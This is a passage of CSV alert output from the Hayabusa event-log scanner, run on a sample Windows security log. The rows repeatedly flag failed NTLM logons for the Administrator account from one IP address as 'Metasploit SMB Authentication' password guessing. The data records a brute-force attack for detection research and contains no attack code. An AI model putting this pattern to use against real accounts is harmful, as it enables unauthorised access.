Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.497 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jcWY7cNeCNgJ3Czr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.497 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.544 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1OA561UrTkFnbEj3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.544 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iDnu1G7jmwLoXGLF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.580 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.624 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: e2v70poTOKPUNZJo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.624 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.673 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EhzoOmgTrdvTS27z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.673 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.724 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pyvmBFGhKFgvzM9S : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.724 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.772 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qHC0keHW2YsKeP02 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.772 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.801 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 29vkwuFa6njYc86s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.801 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.842 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: s9687XPVHFiwttdm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.842 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AcNGaeTqTydGinJE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.884 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.918 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dWRu7ZC1eo1nn0IQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:14.918 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.071 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: M52CihyrQk9MOfCR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.071 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.134 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xBKSOZwS6f9ofXu7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.134 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.185 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uT1LHJs7kyeMmTtd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.185 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.237 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7FvZhetkdjnZOSpq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.237 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.284 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0DDC7WfL5T4d01yT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.284 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.330 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1dUzuddZH3Stespw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.330 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.376 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LKpORcDX0ccf1xMq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.376 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.408 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: u4RbbKttCYPld8RR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.408 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.456 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: joni643cVcuBZH9K : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.456 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.509 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bqY6TkW782CWKtvK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.509 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.545 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: d8c1I63ULh17l0rN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.545 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.594 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cjOtMpWutC9qeSss : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.594 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.650 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gmsFnerFYwXXe4Wt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.650 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.718 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rzIZ4vC0E2CYq5mc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.718 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.775 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0uZe50jJH0aj9xZi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.775 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.835 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LZM5UuxLymuAMJcw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.835 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.874 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iF1dq6UfuqpFpGkf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.874 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.938 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NQVTj9OLayvEg8dg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.938 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.987 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 98F9mULm7DsRUN49 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:15.987 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.047 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h6KjEOAdknvIMwOA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.047 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UHUu0OKm8fsHTnum : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.096 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.140 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: esdoSyg6HkaSiJ0z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.140 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.192 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: M4lnVe7qNVEspxFV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.192 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.236 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Phei86bKte1UCbMi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.236 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.280 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ehA1LQ2Rs0Wts9JW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.280 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.318 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WcXtnkpww8HlSBb3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.318 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.372 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y8U7FrQZgDvQ09Uq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.372 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.430 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UgWwCtz3Gnoq9zYd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.430 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.478 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mRNPwCogYrwSGeZf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.478 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.523 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6O9rWY8UGCbuhSwZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.523 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.552 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HuH4avUJ4AwqXTGa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.552 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.617 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: japOFEaHgyT3T2fO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.617 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.657 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IXpRMMNJRgjmd4km : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.657 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.706 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gtTXA6BiiVyv42cj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.706 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.749 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wfYkwvNOfKj7rlTj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.749 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.805 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QzAZyceDjfmUOdz6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:16.805 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 